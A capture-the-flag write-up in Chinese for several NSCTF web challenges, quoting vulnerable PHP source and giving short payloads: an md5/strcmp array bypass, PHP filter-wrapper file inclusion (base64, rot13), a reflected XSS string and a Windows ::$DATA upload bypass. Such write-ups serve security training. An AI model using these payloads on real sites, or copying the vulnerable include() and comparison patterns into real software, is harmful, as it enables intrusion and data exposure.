NSCTF-web题目writeup

Dream II

看题目提示的

 仔细看用什么提示方式,页面进去提示了“put me a message then you can get the flag”

说明重点就是怎么把信息传过去,这里可以先测试GET POST请求会发现都不行 所以重点就是这个“PUT”这个词 所以用burpsuite 用PUT方式丢一个“message”的数据包得到如下图: 

 看了一眼觉得是base64加密

WECLOME

查看源代码找到了前面的flag

 抓个包看一下

 抓包拼接就可以获得flag

Code Php

 发现所有ctf题目都喜欢藏东西在源代码里面 访问code.txt


<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

这里可以看见设置了3个值 v1,v2,v3 要求是v1,v2的MD5相当但是内容又不相同,老题了。要不就是0e开头的MD5找2个赋值进去要不就用数组。v3这里是跟flag进行比较 strcmp 这个函数如果相同的话返回0  不相同返回-1  这里正好相反  但是也不用多去研究啥 毕竟我们不知道$flag的内容,直接传数组,他俩肯定就不相同了。

所以我这里的payload的就是:

index.php?v1[]=1&v2[]=2&v3[]=3

 Include

页面打开看源代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>include</title>
</head>
<body>
    <!-- include1.php -->
</body>
</html>

访问include1.php自动补全 /include1.php?file=index

用php伪协议试了一下 ,后缀是必须是php的,系统内部补全了,index没啥内容就不贴了 读取include1.php有发现

base64解密后如下

<html>
</html>
<?php

	error_reporting(0);
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100 || $file==="include1" )
        {
            echo "<p> error! </p>";
        }
        else
        {
			include($file.'.php');
			setcookie("tips","include2.php");
        }
    }
	else
	{
		header('Location:include1.php?file=index');
	}
?>

如此可以看见还有一个文件是include2也可以做文件包含理论

且include1过滤了flag所以可以判断flag.php就是最后我们要读取的文件

读取include2的内容

<html>
</html>
<?php
error_reporting(0);
$file = $_GET["file"];
if(isset($file))
{
    if ( preg_match('/http|data|ftp|input|%00|base/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100)
    {
        echo "<p> error! </p>";
    }
    else
    {
        include($file.'.php');
    }
}
else
{
    echo "file not found";
}
?>

发现没有过滤flag去调用一下试试 测试下来没内容通过观察发现过滤了base,这里可以用string的rot13加密输出

通过解密即可得到flag

XSS 

 

 只要弹窗就可以了,好滴整起。

payload:"><a οnmοusemοve=alert(1) img=http://www.baidu.com>

写的有点长了

 

Upload 

看题目提示windows系统我就知道考察一定是windows特性。

windows有啥特性 不就是::$DATA这个最猛吗 

 一丢就得到了flag到此结束~

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值